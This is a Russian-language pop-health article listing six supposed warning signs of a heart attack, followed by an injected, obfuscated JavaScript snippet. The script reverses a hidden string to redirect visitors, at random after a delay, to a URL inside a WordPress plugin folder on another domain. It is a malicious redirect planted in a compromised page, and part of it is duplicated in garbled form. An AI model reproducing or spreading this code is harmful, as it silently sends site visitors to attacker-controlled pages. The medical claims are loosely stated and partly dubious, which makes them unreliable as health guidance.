Вы должны это знать!
За последние пару лет сердечные приступы стали очень распространены среди населения мира. К сожалению, это причина смерти № 1 в мире. Это происходит из-за нашего стрессового образа жизни и нездоровых диет.
Вы можете защитить свое сердечно-сосудистое здоровье, улучшив свой образ жизни — следуйте здоровой диете и уменьшите количество стресса. Кроме того, важно признать симптомы сердечной недостаточности, которые обычно начинают проявляться за месяц до сердечного приступа:
1. Сбивчивое дыхание
Когда легкие не получают достаточного количества кислорода, ваше сердце не получит кровь, которая должна пройти через нее. Поэтому, если у вас будут проблемы с дыханием, немедленно обратитесь к врачу.
2. Симптомы простуды и гриппа
Многие люди, прежде чем испытывают сердечный приступ, замечают эти два симптома.
3. Давление в груди
Это явный признак того, что сердечный приступ может произойти в ближайшем будущем. Очень важно проконсультироваться с врачом, если у вас болит грудь.
4. Слабость
Когда артерии затягиваются, предотвращается надлежащий кровоток. Следовательно, мышцы не получают то, что им нужно, что может привести к сердечной недостаточности. Поэтому, если вы испытываете постоянную усталость и слабость, проконсультируйтесь с вашим врачом.
5. Холодный пот и головокружение
Плохая циркуляция нарушает надлежащий приток крови к мозгу, что имеет решающее значение для правильного функционирования мозга.
6. Сонливость
Если вы все еще чувствуете усталость и сонливость после сна или отдыха в течение некоторого времени, и если это продолжается в течение нескольких дней, у вас может быть нарушение кровотока в сердце.
Предотвращение сердечных приступов очень важно; нужно замечать и лечить вышеупомянутые симптомы своевременно, чтобы значительно снизить шансы сердечного приступа.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toms/»>simplehealthrecipes.com
Перевод и адаптация — Фитхакер
Фото — img.providr.com